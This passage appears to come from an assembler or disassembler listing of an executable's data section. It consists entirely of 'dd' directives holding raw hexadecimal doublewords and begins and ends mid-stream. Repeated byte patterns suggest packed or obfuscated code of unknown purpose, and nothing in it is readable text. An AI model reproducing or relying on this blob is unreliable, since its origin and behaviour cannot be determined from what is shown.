4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 1083323Dh, 0E93C8110h dd 1346h, 0EAA51468h, 0DA64E905h, 0D68FFF9h, 0E905EAA6h dd 0FFF9DA5Ah, 0EAA6BA68h, 0DA50E905h, 6F68FFF9h, 0E905EAA8h dd 0FFF9DA46h, 0EAA91268h, 0DA3CE905h, 0C468FFF9h, 0E905EAA9h dd 0FFF9DA32h, 0EAAA8368h, 0DA28E905h, 7968FFF9h, 0E905EAABh dd 0FFF9DA1Eh, 0EAAC7468h, 0DA14E905h, 0D368FFF9h, 0E905EAADh dd 0FFF9DA0Ah, 0EAAEA168h, 0DA00E905h, 4168FFF9h, 0E905EAB0h dd 0FFF9D9F6h, 0EAB16868h, 0D9ECE905h, 0E68FFF9h, 0E905EAB3h dd 0FFF9D9E2h, 0EAB3E768h, 0D9D8E905h, 0D99AFFF9h, 77E33F5Eh dd 8435EDF0h, 0D6988205h, 6DE03A5Dh, 7B3AD3F2h, 0AD30AF2Eh dd 4746C175h, 0FB9A1DDBh, 0AE31A82Fh, 0ED4FB017h, 4F54EF88h dd 0C0776239h, 62E97349h, 2491E4EBh, 399EE7A6h, 0BD54E8FCh dd 0FB9597E8h, 0C67754E8h, 0AB9C5F4Bh, 0FC482E11h, 278354E8h dd 0E35132FBh, 3FBA33F8h, 0DD000000h, 2AED6FD8h, 0A6C07BF0h dd 0BDAB730h, 0E908413Ah, 0E753BD54h, 34094860h, 54E90836h dd 0DF1045B6h, 7D45A8Dh, 507F54E9h, 7AE8CF1h, 0CD0E54E9h dd 935A4600h, 33F8EBB0h, 0CED9h, 0C0777C00h, 64E97349h dd 17F6DFEDh, 4E64C2Eh, 0AA67A84Fh, 9059EB60h, 5F904319h dd 0C178FF0Dh, 0CF51041Eh, 53B4F10Eh, 0F25F90B8h, 150512D3h dd 7AF14F05h, 9146DCC3h, 5E174216h, 370479DCh, 4C54E930h dd 25DDA366h, 0FD5610F9h, 2C9F3EF1h, 0D12EF173h, 5AD0553Ah dd 1AFD3Eh, 0FD7CFB4Dh, 9C0374EFh, 3615E3Dh, 614F0754h dd 34B9E5AEh, 13A92294h, 45E40339h, 7CB1A016h, 0E1FA20Bh dd 0A8202221h, 10F3C9h, 79F06300h, 8B0CCC56h, 0DC5B1E04h dd 74EF61B9h, 8D04C951h, 0F7A21D0Ah, 5EC4CB46h, 0A47E619Eh dd 812B536h, 3EC5C843h, 8B14166Fh, 0EA9054EFh, 106DCCBDh dd 4F04E612h, 0DAC443F2h, 0E352BC19h, 32B96164h, 0D84314BBh dd 0D52AED6Fh, 54E90860h, 411BDCh, 0DC9E562Ah, 0F7B09A1Dh dd 0AC91743Dh, 54E9C9CEh, 0C320ED2Eh, 54E9CA5Dh, 81E9E8h dd 29EF6601h, 0FF23AF68h, 0F9794D36h, 8E4C5633h, 0AC15400Dh dd 40000000h, 7349C077h, 0DFED64E9h, 4E9FF68h, 5B40F74Fh dd 4E9086Ah, 7EB3644Fh, 9514C35Fh, 0D2849EC7h, 77477D59h dd 45400AF9h, 0F6742188h, 963B17h, 0AA9B1CCh, 0B481FE41h dd 1054E9B9h, 10CDB8DFh, 763D3F00h, 7CBF54E9h, 0CF7B440Bh dd 0A55AD01Bh, 0C6779372h, 0E33F8E4Bh, 4AD0F772h, 0C3A19E8Bh dd 214F071Ah, 0B33CBDEEh, 0B822219Bh, 0FFA5110h, 0F97A0000h dd 17C35F7Eh, 0A4150D90h, 0F678A225h, 0DC05A7Dh, 9B1AF392h dd 0CDD04F0Eh, 6766E155h, 1BBA3DBBh, 0CED1480Fh, 0D6F5037h dd 6F54EF8Ch, 0C6774219h, 19DE444Bh, 776EFF9Eh, 0E97349C0h dd 0FE24EB62h, 7312FF78h, 15A72297h, 0C6C940F7h, 5B1A00E7h dd 6E578CDCh, 4F04E60Ch, 9FEAA768h, 37B56230h, 10526F50h dd 0F12254E9h, 4157D827h, 1E044C73h, 8675DE59h, 0BB844BC9h dd 4757323Ah, 1E9950BAh, 0E3D45704h, 279288C9h, 7EDB08A0h dd 9D40C2BBh, 767CEEA0h, 6225164Ch, 9538B338h, 6E4FCE8Dh dd 2FB6898Fh, 4D9958F0h, 0CD00000Fh, 160C930Ah, 78A225A2h dd 0CB5776F1h, 130F8E09h, 77A027A2h, 659C5148h, 0BB34B862h dd 0CF480E14h, 62E552C8h, 0B885C463h, 54EF8BBAh, 77174C3Ah dd 73EC60C0h, 0D6B9EA59h, 0B09608CCh, 200D12B5h, 521D79AAh dd 54BA943Bh, 51705835h, 33AF8DF2h, 0CA0D4F05h, 56FDAA01h dd 0A98BF4E1h, 0B4F0533h, 0E3A297C8h, 0E240BD1Ch, 424F0533h dd 82FFC491h, 2954E946h, 0E9C37AF1h, 4814107Ah, 1AD2DD4Ah dd 0C3C235B1h, 0B936A6FCh, 22A01DDCh, 38B72763h, 36B7885Fh dd 0B65ACDB9h, 346E7745h, 0BFB40487h, 0B18BEDD2h, 64C64F05h dd 948EF53Ch, 74FF2E15h, 0E8000000h, 0A5363409h, 62D64F05h dd 5736F9E5h, 5A50C6Eh, 0EAA7684Fh, 0ED6FD8EDh, 3283D52Ah dd 0D03A54E9h, 0C9CEC898h, 214D068Bh, 0C39910C7h, 2278DF10h dd 0F779A1B4h, 0F625077Ch, 548754E8h, 0B10B8C4Ah, 0A48E5182h dd 652C869Ah, 92359E96h, 11136C33h, 9354E96Ah, 0AA8EF7A0h dd 6E54E969h, 0B36F6EE9h, 0AF368205h, 6A75F7C8h, 4F754E9h dd 0E26144Bh, 0D8430000h, 24067F6Fh, 804F04E6h, 4ABB1A4Fh dd 54EF892Ah, 23017EDDh, 8154EF89h, 36F9854Eh, 0D8C4B57h dd 8ECF2B8Ah, 574B34BAh, 74E32FE8h, 0AC831AECh, 0C035B19Ah dd 0AB00FDE8h, 56D1862Ah, 106D3065h, 5ADA2DB5h, 31FFE31h dd 0FC7E4754h, 0A34F04ECh, 4ECE042h, 0EF9B5C4Fh, 0F5D4FB2Ch dd 1EAA2DADh, 0FBD14A0Ch, 50BA1748h, 948609Bh, 4D0B5D11h dd 1045FECAh, 0B93BF447h, 203CE9D6h, 975854E9h, 3F9BC9D6h dd 5B1ABE1Ch, 0D98h, 0B9DC5718h, 6F6EE961h, 1C8306B3h dd 0B4DB5406h, 6D70EF6Eh, 29ACFDB8h, 43F32FAEh, 9359C1C4h dd 2EAD7518h, 329128AFh, 0EF8E6FCDh, 0E0BFCD54h, 12106DCCh dd 924F04E6h, 0A67920B8h, 0F82D82AEh, 0FA50D61Fh, 0A21B4F04h dd 0B0257D20h, 0B4895C39h, 54EF9C61h, 6CC4739Dh, 0E55E6AEDh dd 0F62B18B0h, 0ECD1B017h, 54EF9C8Eh, 26602DEEh, 4B5736B1h dd 86BD0F8Ah, 0EB60BACDh, 0C375AD70h, 16C37048h, 4E5E1742h dd 0EF9BF371h, 25977154h, 410479AAh, 0D3AE037Ch, 3B80735Ah dd 22152CDEh, 0F5BA7BD1h, 6500000Ch, 0CE547BF2h, 100A8D0Ah dd 63BFDE59h, 0CB5776F1h, 1F088F0Ah, 0CD4409A0h, 639C50CAh dd 0B730A67Ch, 0CA4D0A10h, 106D3CCBh, 54EF8F12h, 77BF1492h dd 72ED60C0h, 94445E01h, 0CB8AB913h, 4E678FAh, 5603F44Fh dd 0F873F802h, 2A5674E0h, 14CDA0E3h, 750C92Eh, 0D80C0000h dd 4B2AED6Fh, 7E37EC6Fh, 0CDAF8Eh, 0F039F923h, 1ADAC054h dd 538407B4h, 543BFC86h, 4F0E894Eh, 0B663E653h, 0CD4C0B17h dd 225D100Ah, 0D8F05D96h, 0B22DA1F9h, 0F89698D9h, 0DDC554EEh dd 46359E19h, 7B440B89h, 5AD30AFEh, 0AE29AC76h, 0CF9B7C7Dh dd 0A8202215h, 0C43C9h, 8900B300h, 0DB5C1C06h, 6CEB6EB4h dd 843FB169h, 0DD541901h, 47526DBAh, 0AE741B96h, 0F42EB12Eh dd 58C2C546h, 0CE751893h, 8EC4A69Fh, 5A2054EFh, 50C0770Dh dd 0AEEC7E7Ah, 84D409A1h, 0E6FF166h, 0F343B495h, 211DAFE0h dd 0E55E979Bh, 162E157Ch, 6A2h, 0E5CC5241h, 2EE74F04h dd 8E94E9ACh, 3554EF88h, 0ECE96BEDh, 0F55452F2h, 0F5F15A8Fh dd 3A774302h, 58DA2B92h, 0D454EEECh, 0AD5D3763h, 306A3D96h dd 859D00BBh, 0F4F74ED6h, 2C3ABA49h, 0B6E04363h, 2B14D329h dd 54EFA849h, 0C23768ABh, 7B3EFF6h, 0AB64D780h, 20196629h dd 945AD3BAh, 1A4FC88Ah, 1500645Dh, 3C855722h, 0B84h, 0C5C843F4h dd 7B1A9D5Dh, 28AF2AAFh, 0C0C740F2h, 791C9B5Ah, 0D59811ACh dd 6FEF3B5Ah, 8735EDF0h, 0D2998104h, 0DE8D345Bh, 0EF9083E1h dd 0CC9BE154h, 3C50C077h, 5DBCA2F1h, 6AE13B17h, 26AFAD63h dd 9645E7F5h, 0C15E4F0Eh, 93459108h, 0C19BCC29h, 56AFBC3Bh dd 4F0560D4h, 1EAA9F50h, 0FACE490Ch, 935B4723h, 451F0359h dd 609B99E6h, 0FF194F05h, 79EAFE79h, 0F87FFA04h, 54A673E0h dd 2E1547EFh, 5B118h, 6FD8BF00h, 6F4B2AEDh, 0DAB37F11h dd 4E0D1932h, 8D46FDCFh, 0F038D3A4h, 1DC03354h, 72F564BEh dd 7FFE7D99h, 9215C258h, 11136C33h, 9354EEF9h, 1B9446A0h dd 43251ABEh, 6E54EEF9h, 5692AB1h, 38096B54h, 0A86B54EFh dd 7266D56Eh, 0E6F76018h, 0CB3C37A3h, 0A43E3B04h, 8E6D5AD3h dd 13A3B3B1h, 15FE314Fh, 0E201A669h, 9221512h, 0A8EE243h dd 4D0E0000h, 0E357B3D2h, 30B96164h, 4A0C16B9h, 0E154CED1h dd 7B66766h, 21A42392h, 0DBFA75F9h, 8F0E894Fh, 22A52493h dd 79FBC49Bh, 0FB54EF91h, 0C077D68Dh, 0DE278649h, 4F04E65Ch dd 4FB017D8h, 4F04E5EDh, 89C38C4Fh, 0E463D2C8h, 0E868EF2Bh dd 2DEC068h, 5C6CA19Ch, 39930CCEh, 0A236B123h, 874FB317h dd 0C20B7755h, 2E14CD81h, 5EF52802h, 107AF567h, 5C39B2BEh dd 4C561h, 95584200h, 0CE49001Ah, 0D1525405h, 0E24F04E5h dd 0EFD0B735h, 54EF8977h, 9912C4DEh, 704D10C3h, 54EF87F2h dd 0AAD48172h, 0FEC7A669h, 54EF887Ch, 2C56D198h, 435F2EEBh dd 13721594h, 6AF0D8C7h, 0B51E9CE1h, 516BE269h, 6530AB64h dd 0F977E7F8h, 5D3CE3D4h, 4FA381FEh, 0CE0154EFh, 0C98205B4h dd 0D37943E8h, 2692885Ah, 7FD80BA1h, 55F69973h, 64EDC768h dd 9E778A33h, 0C0882215h, 99361h, 0D9500300h, 6BEC6CB6h dd 0BC3BBE64h, 0D44F0119h, 6DE469B1h, 9702BD6Ah, 0FE24AB26h dd 44DEC17Eh, 0A8721596h, 9E25A823h, 9274F6CFh, 8AF054EFh dd 63D6CCDDh, 68EF2BE4h, 42F42EF1h, 9740F3C9h, 39B027C5h dd 5DD499A3h, 0FE79FD0Fh, 4CB416EAh, 6D95F584h, 0E1DECF8Ch dd 4F04E683h, 5753CA81h, 5A8F0ECDh, 0AF946669h, 0D82E14C9h dd 148h, 50C0777Fh, 53ECC67Ah, 1F1D6219h, 9D4F056Eh, 0A434695Ah dd 0F477E53Dh, 11AB2CAAh, 0AE2D6922h, 7B445106h, 4F056DF9h dd 7547B87Bh, 0AB0A8DFEh, 6E79FBC4h, 38FB4F05h, 0A1239C5Fh dd 844081FEh, 73A454E9h, 8480E659h, 7FCB54E9h, 6B89FA33h dd 2FF233F9h, 25000000h, 67F6FD8h, 4F04E624h, 0BB1A4F80h dd 0E907F14Ah, 0CB8A4D54h, 0C8E01FDFh, 251ABE1Bh, 54E90843h dd 3DF43C8Eh, 33F8EB46h, 0A4B7h, 0C077E600h, 6775EE60h dd 7B73C5F5h, 0C237559Ch, 62D4CE91h, 5CDF9DE9h, 5E7AD70Ch dd 3AD2B77h, 5182D651h, 0E657B31Ch, 0CCB516Bh, 0BC963F8Dh dd 646C300h, 8E8845E8h, 0A38F4EC9h, 0CF3138ABh, 18AF6896h dd 59A4A27h, 8A0DCA4Fh, 45C7B00Bh, 2E13BD82h, 0AE6154ECh dd 8702B3EFh, 0DC5B1A00h, 3DCC449Fh, 4021AB1Ch, 834h, 15B833A4h dd 0CBCA4D0Dh, 781F9A5Fh, 10B730A2h, 0C9CC4B0Ah, 8548615Ch dd 0DF9F8B0Ah, 77E53DA0h, 8249D1F4h, 0AEFD840Bh, 0EF92D351h dd 7C2B5154h, 444BC677h, 0FF9E19DEh, 49C0776Eh, 5FD89C86h dd 0A3FFE6F2h, 0C259B534h, 0C8D304DFh, 0FC7BA770h, 8F9B5A7Dh dd 0C2000002h, 2AED6FD8h, 0E8ED90D5h, 5502EC54h, 87F87FFBh dd 5FC10652h, 0EA54E8EDh, 0BC3BBFEBh, 0D18BF7D3h, 0CF8803C9h dd 0F8D098EBh, 235C133h, 0CC140000h, 0E612106Dh, 0A1924F04h dd 0E5B08FF4h, 0AC34F04h, 6AF8C588h, 0A54EF89h, 5F1C06C9h dd 76AC73DCh, 0DB4746C1h, 92CF9D1Ch, 6AC83525h, 0CA54EF88h dd 0C71D409h, 5AD3B0E7h, 36E7C437h, 0C9221547h, 766A203h dd 65D60000h, 0BB3FEBEAh, 0C881993Ch, 62D44E51h, 0B93CE6E9h dd 2F8E9F3Eh, 597CFB7Ah, 0F3920DC1h, 0A726A117h, 5A7DFC7Bh dd 0A183FCA3h, 354EF93h, 0C0772E65h, 62E97349h, 8F4BD1EBh dd 2EAAB008h, 0ED4F13A9h, 0CC9E6DA5h, 37B625C4h, 0C8E1A290h dd 980A2E14h, 4D000001h, 7461D6CCh, 4E6290Bh, 17488B4Fh dd 0D9C58E45h, 3BC19B12h, 2F9A3DBCh, 9C1FDD76h, 632217CCh dd 0E5C1A39Ch, 0F0234F04h, 9A7F4027h, 0DA54E8FCh, 0FBB8BA8Bh dd 0BE6454E8h, 0A63800F8h, 2731EB97h, 0F79A99C0h, 3D8FC035h dd 0E9C7240Ah, 0D86AE054h, 10C39912h, 0FB7F8DDFh, 359D6C7Ch dd 0D4B605CDh, 0AE1E65ACh, 514F33F9h, 8E000000h, 2AED6FD8h dd 0E5F87A4Bh, 0A7144F04h, 235F9424h, 0B1D60FE9h, 70A5490Ah dd 86FFC0A7h, 0F654E99Eh, 0F42EB705h, 41F2C641h, 99C9AF94h dd 8C4B54E9h, 28ADBF0Dh, 6758D398h, 0BDE5BF55h, 237F6675h dd 705A37B2h, 7D8AF930h, 0C8F333F9h, 1A000000h dd 0ED60C077h, 2AAB0172h, 53EEF1C0h, 0DAB7D53Ch, 8E9B3DB0h dd 0A888D437h, 0C713F227h, 0EC5C8406h, 2AAE6BD9h, 88205B10h dd 0E96BC572h, 0B4E95A6Eh, 82632C11h, 64D34F05h, 8783E2E5h dd 43FC7ED2h, 39F6450Eh, 0DDEBD4BBh, 6C54EBA4h, 9E504C06h dd 450E93D1h, 0B17F639h, 6EFCCC4Bh, 0E43E73ECh, 491CF972h dd 383A0BEAh, 0B454EAF3h, 0C98C9643h, 89684F4Eh, 0EAF2B6B4h dd 0B9C53654h, 0B3DFB833h, 29268702h, 1E1C3DC4h, 5C6FBBAh dd 85360000h, 0DB9F8B0Ah, 68E1395Ch, 8234EEF1h, 0D99C8609h dd 0CFEE3F5Eh, 0F99C1BDAh, 9332AD21h, 4746C177h, 0FA9D1CDBh dd 41231C43h, 0A354EF96h, 0C6778EC5h, 19DE444Bh, 776EFF9Eh dd 75EE60C0h, 2592A800h, 1748CF8Bh, 2CF170h, 0CC240000h dd 0D4E463D6h, 0E368B21Fh, 21128D41h, 43FA718Bh, 207ADB69h dd 0AB9830ABh, 5DBCE4EEh, 19781F9Eh, 79D24D01h, 3146h dd 0D6CC9100h, 1CD7E562h, 69E057B3h, 0E68BEC53h, 12B84F04h dd 0E8D5B4EEh, 4F04E68Ah, 0D24D00EAh, 0BF184D86h, 6265E453h dd 7FE03703h, 114AB202h, 0C0771744h, 48527349h, 85BE0A85h dd 0E67FFDC2h, 3AFD4F04h, 0AF2D9A51h, 363409E8h, 0B64F04E6h dd 2E68B85Ch, 0BEF30458h, 9C79F264h, 0BA8B6AC9h, 4F057BB8h dd 2916C334h, 54F01F8Dh, 3D6528EBh, 82983FBEh, 7FFA7BD5h dd 3785F66Dh, 884FCDBAh, 0D9BD58B7h, 0FCA3945Ah, 0D7B631A6h dd 3E8A0DCBh, 0ED354805h, 9817C66Eh, 0EF5815A7h, 8855AA6Dh dd 0E454E9AFh, 2B7F8A33h, 18B01C3Fh, 49F59h, 255C1F00h dd 77F078A2h, 880FCA50h, 205B1D05h, 79F065BDh, 0A3F6C156h dd 0A10B732h, 50CACD4Ah, 0A47E619Ah, 6A11B437h, 9768CA3Bh dd 0A6C454EFh, 49C077E9h, 9C1FDC46h, 0DD9D85CCh, 7246C173h dd 73C8CC1h, 108B404Ah, 555D2DB8h, 0C18407B4h, 4B07F5E9h dd 1DF6F47Dh, 0B0CBB88Ah, 243C2E15h, 5B000000h, 2AED6FD8h dd 0E93283D5h, 6F2EE154h, 83028533h, 0E931BEA2h, 1A9D5A54h dd 0AE29AF7Bh, 41A5B1Ah, 77820000h, 0E97349C0h, 91E4EB62h dd 9EE7A624h, 54E8FC39h, 0D48563BDh, 2C11136Ch, 0A09354E9h dd 2356AD76h, 8CC132B5h, 0EF250B3Ch, 21A054E8h, 3AEF71F9h dd 0AA1E80B8h, 0CF8B44B9h, 390AC3h, 40A233F9h, 0F5000000h dd 2AED6FD8h, 0E90860D5h, 0B41BDC54h, 88AE8D5h, 29EA54E9h dd 75FB6C6Ch, 9F54E908h, 0F416A2DDh, 61F3C942h, 0F8D31B07h dd 4C37FE22h, 5533F8EBh, 0B3258F4Dh, 7EB3A038h, 0EBDA95h dd 777D0000h, 0E97349C0h, 95FEF464h, 0E6338060h, 391539B6h dd 0FC71D5FFh, 8DDF1045h, 9E41F87Fh, 3164C63Fh, 0FC04F05h dd 47F41642h, 521901C4h, 0F95281DBh, 351019E6h, 57044F05h dd 0E269B1D4h, 0AB64516Bh, 6C196629h, 1354E948h, 0DC641F7h dd 605D3C61h, 54E93802h, 0F270B162h, 7254E937h, 74A922A8h dd 7C299C03h, 47B81FFEh, 54E937E5h, 0BC3FBD47h, 3FBA3F4Bh dd 0FEB2F352h, 815ACFE0h, 0E15FDD22h, 1ADD4F07h, 3C235B1h dd 0B4DB5607h, 4B70EF6Eh, 2220D5C0h, 0F96CD587h, 79000002h dd 0C2587FF6h, 140E9116h, 67A322A5h, 0CF5B7AF5h, 1B0C930Eh dd 0D1480D9Ch, 67E054CEh, 0BB3CBA60h, 0CE490E14h, 6C5130CFh dd 54EF990Eh, 7743186Eh, 0DE444BC6h, 583F9E19h, 4E60567h dd 0D926674Fh, 4F04E65Bh, 0D92516D9h, 0AD309D14h, 0ED6FD838h dd 860D52Ah, 2DC54E9h, 38B87E22h, 16A297D3h, 0E92E4FD1h dd 0E020FA54h, 0F9115A29h, 0B38333h, 0CCCA0000h, 2CE966D6h dd 0E6F275E2h, 42169144h, 4E9949Dh, 79CB804Fh, 0F06379F0h dd 550218BFh, 12CB86D2h, 0C3F0CD90h, 0A354E903h, 0FE9F9DE2h dd 0DA1D54E8h, 0DA93E6E9h, 9988F558h, 0FD5ACFA4h, 8E4F5B3Ah dd 0F52D8C13h, 0ED6EEC44h, 2B3DFB8h, 0DD222FAEh, 4F07A25Fh dd 0F4291ADDh, 21166EF7h, 0EA4B0122h, 220h, 21A4DF90h dd 0D7F671F9h, 840B8E4Bh, 3CA3DC9Eh, 0D5F877E6h, 0B1247540h dd 0CB8B9736h, 1BD1494Ch, 0B625FDE0h, 0BAE99037h, 0EF98E745h dd 68274554h, 0F462C677h, 0E59E9CE1h, 0DD1E4F04h, 0A10B7E8h dd 2F0BCA4Dh, 36F27B50h, 0C5D8B59Dh, 50C07710h, 6F414E1Bh dd 0D0B7E806h, 0C18A0DCAh, 43FA718Bh, 9611C65Ch, 5CDE97C2h dd 3DAF84F9h, 0E50F54E9h, 73E0F873h, 0F3D2AA3Eh, 3651D32Ch dd 60D354E9h, 6E72BB7h, 0C4B7D651h, 3BD9900Bh, 0AA98110Bh dd 0CE8C9679h, 0C03D804Dh, 5ACD0887h, 0E341BEEFh, 414F0507h dd 0FD0F5D8Eh, 0B918FF7Eh, 507E644h, 0C2A09D4Fh, 224F0507h dd 4902F5F1h, 0FA75F903h, 7995CEEh, 51D19A8Bh, 0F5D8E02h dd 65ADD5BFh, 54BB711h, 0FD91D348h, 0F8D05703h, 79280F4Bh dd 0A183FCA3h, 34F0550h, 0C7389FD0h, 54E9738Ah, 7CA629EAh dd 64E755FFh, 0D5839933h, 77E40652h, 3376E4F4h, 0E9029562h dd 1AAA217Dh, 5083D95Eh, 0EDB74D1Fh, 72536DA5h, 0AF0F1D18h dd 5C8B6E39h, 0B6AB8E66h, 0BC26F324h, 0BE269574h, 0D21850A2h dd 37B0240Fh, 6FCE91C2h, 0E9B81416h, 0F25F9054h, 0AD2F98D3h dd 0A13D80EAh, 62393B04h, 78BB54E9h, 0C629691Eh, 0C83B768Ch dd 0E9A2CA09h, 0EC6BB716h, 0EA43A06Dh, 915ACDB9h, 0BA6FCD32h dd 0ACD4F05h, 0E6F22541h, 44149744h, 27B532A6h, 84D45705h dd 599191E9h, 277DA50Fh, 0C0159ACBh, 8B44C207h, 12F57720h dd 0E90B582Dh, 6C73A454h, 6F2EAC19h, 0D3AE5E16h, 4319DA5Ah dd 14BB32B9h, 0FACE490Eh, 920DCFDBh, 0A5A514C6h, 0A5812627h dd 9E5EA770h, 0F2887F23h, 0C28968A8h, 19DE444Bh, 1731330Ch dd 40B3886Ah, 94E9480Fh, 886A1696h, 95E92516h, 7B9F2BB7h dd 0C35973DCh, 0EB379611h, 0AA2EEB6Eh, 0E90808D2h, 3EE4EB62h dd 0CBAA3EB9h, 20h, 44508EE4h, 0BE1621F2h, 9B74F764h, 0C0A70632h dd 4E67DFFh, 0A729AF4Fh, 0F46877BBh, 0F4C09CAh, 7F4DC477h dd 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h dd 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 1E7868B3h, 0C890000h dd 61206824h, 0C890000h, 46066824h, 14890000h, 4B9BB924h dd 0C14978CEh, 0C18107E1h, 68D23A34h, 0BB53D1F7h, 164928FFh dd 8223C381h, 0D901BF99h, 148B545Bh, 4C48124h, 53000000h dd 89CA8952h, 5A895AD3h, 34FF5B08h, 0C4835A24h, 240C8B04h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF9C72Ah dd 2CB83006h, 305EAB6h, 7EE0FFC5h, 0ED32BD5Eh, 0BB657A1Eh dd 290BF45Bh, 0D30114A3h, 124F67C7h, 0DC7436C0h, 0CB3F9DF3h dd 90328A86h, 6C0CA62Ah, 4D009A85h, 0D46DF0B0h, 0E84259D4h dd 0Dh, 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C88B6681h dd 8117B15Eh, 6980C6h, 68F500h, 0F9000000h, 14E85Fh, 0AA2C0000h dd 0AD91C555h, 0A0AD3D0Ch, 1C437CB7h, 5DCC62B0h, 810FBA5Ah dd 1, 48B5BF5h, 54C0813Eh, 8A168C94h, 91E881F4h, 0E91A8724h dd 0Ah, 9C487E8Eh, 43DA4FF6h, 0E88195A2h, 88D82CEh, 3E0489FCh dd 0DCE98166h, 38A0F10h, 0F000000h, 0EF83DBBFh, 38C0F01h dd 66000000h, 4F4FCB8Bh, 1EB9664Fh, 18FF81FFh, 0FFFFF97h dd 0FFFFA985h, 0DF8B66FFh, 7E8h, 5B6EFD00h, 10221DBFh dd 6E8h, 0F86E0800h, 0F5ABAD0h, 5E5FF9BFh, 1D18AB8h, 4DC68125h dd 8B000073h, 1CAEBBD0h, 0B70F0000h, 8136FFC1h, 0FBF4D0C2h dd 0C280597Ch dd 6BC181F9h, 0F43D49Fh, 389h, 0FEB70F00h, 70EAF181h, 0F2807B8Eh dd 91E9817Bh, 666D7926h, 899965BFh, 0DE90Eh, 9D2C0000h dd 19ADCCD2h, 0B21E706h, 814C7B69h, 0F47EFDEEh, 0F9C6816Fh dd 0E96FF47Eh, 0Eh, 0B326999Bh, 595BC075h, 12A8F78Dh, 0F4BA713h dd 0FFFF9885h, 21CBAFFh, 8D8D3054h, 5EAB8F1h, 0CD5BD89h dd 8D8905E4h, 5E41095h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B7C35545h, 0D7BB03D0h, 0C7BBDE80h, 0E42C6585h dd 71A005h, 31B58B00h, 0C705E42Dh, 0E430FD85h, 5, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8A66BA69h, 8C0F6F29h, 1, 0F5B5FFF5h, 6A05E425h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 9D27C351h, 557CD12Bh, 81F38B87h, 1732B1C2h, 6195FF7Ch dd 6A05E42Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 625DC351h, 0C37C37F7h, 219D014Dh dd 6A05E428h, 0C195FF00h, 8B05E410h, 0CD28EBC0h, 7F85C2AEh dd 67CA456Eh, 62EC2544h, 4756C630h, 2C013A8Fh, 23B06384h dd 2D75FE27h, 0BB57C876h, 6E3B0B0Bh, 0EB219C49h, 8, 0EC700200h dd 4A6E972h, 2B680000h, 0E905EABAh, 0FFF9C48Eh, 0EABAA768h dd 0C484E905h, 2C68FFF9h, 0E905EABCh, 0FFF9C47Ah, 9D00BB3Ch dd 3352D585h, 0E0E762D7h, 983FB83Ah, 3154D382h, 0DC0D9E4h dd 0A717F392h, 0FF7DA528h, 0AC1597Ch, 16750C93h, 0EF9F4B29h dd 84D3A954h, 714BC677h, 0EAED6CEBh, 0E1A4269Fh, 0E9107B9Ch dd 7C412054h, 54E90FFEh, 0D6D0BD7Eh, 8E905765h, 3954E90Fh dd 9BE82161h, 2433F8F3h, 8AA038CEh, 0AC7BD6Ch, 30953h dd 5E48FA00h, 9679FBB4h, 0E86FEB37h, 49B663D0h, 54E91030h dd 0A405D304h, 0E155FB7Eh, 85A73566h, 0B46152D5h, 4E76624Fh dd 681E952h, 0C40058FBh, 4E07F25Fh, 55AA09CCh, 4786C3D7h dd 5629E255h, 6AECEC69h, 7547884Dh, 4A0D8F78h, 0DB989AEBh dd 0A444C6Ah, 1AE85CE5h, 3F985B47h, 5EA51768h, 0D407524Eh dd 2BA22971h, 7EF97EA4h, 0A2C12A79h, 0AA0BC129h, 300h dd 7D609B5Ch, 13B235A5h, 0C0C742F7h, 781F985Ah, 11B433A2h dd 6DE0B904h, 8737D3F2h, 0DF9D8508h, 6AE1395Ch, 7655ECF3h dd 0EFA02B09h, 0A4F38954h, 2AED6FD8h, 0EF9F73D5h, 5F3EF154h dd 0B8859243h, 54EF9EBAh, 2EADF93Ah, 0F5261DAFh, 988548D2h dd 0EF9EC5A7h, 83F42754h, 9B14C6DCh, 543B9A3Eh, 0EF9F096Bh dd 0EFA86B54h, 0EF9E9F86h, 5DDC9B54h, 0E81511Ch, 5F26B228h dd 284h, 0E1E41FD0h, 9736B139h, 444BCE8Bh, 0FCE31CDEh dd 9538B726h, 0F1643580h, 0BCB5776h, 5B11098Ch, 0F665BD20h dd 0FAA95077h, 0EF9FA785h, 28670554h, 2AED6FD8h, 0EF9F73D5h dd 0AA3EF154h, 0EF9EB3B5h, 1E995154h, 194E804Ah, 0C3A96490h dd 24B433A7h, 7EB6FA40h, 0C9939F6Bh, 5817156Ah, 0A29554EFh dd 3EBE85E9h, 0AB2F33FFh, 98000001h, 8451D682h, 60C077D7h dd 0AE3A6FE8h, 0F95CDF9Ch, 2FAB2DA1h, 0F18A95A1h, 6BD8F025h dd 62B81FAEh, 0D4A770F7h, 0C936991Bh, 54E92208h, 7ABE5BB7h dd 9F4C4004h, 0EA6E8832h, 0B3E45F6Dh, 0B6402619h, 10C454E9h dd 0AB17C597h, 0BCD9116Ch, 0D34D0C16h, 5E094AD3h, 14A49993h dd 6AA2EEB4h, 4E878B5Fh, 33F95DF5h, 5966h, 9B5B4700h, 0D81AB31Ch dd 4B2AED6Fh, 4E5F87Ah, 0D683744Fh, 8350E77h, 405A54E9h dd 0C2A09D88h, 2254E907h, 0D7D3BCF1h, 0BA0E894Dh, 0C3045489h dd 54E9085Dh, 22B631A7h, 0CCD65118h, 623B910Ah, 79509898h dd 0DBA861A1h, 0C33F8EAh, 0ABh, 0C80855BDh, 0FC5363BEh dd 0C077BA13h, 64E97349h, 7BF02AEDh, 0A74517C0h, 0CCD6B930h dd 73C8C0Fh, 7FFC0E4Ah, 0E064D9FCh, 0DC4F04EAh, 8EF99C1Fh dd 78FF7AD1h, 2197F360h, 0EC2112A6h, 90AAD429h, 498A54EBh dd 89C9AC86h, 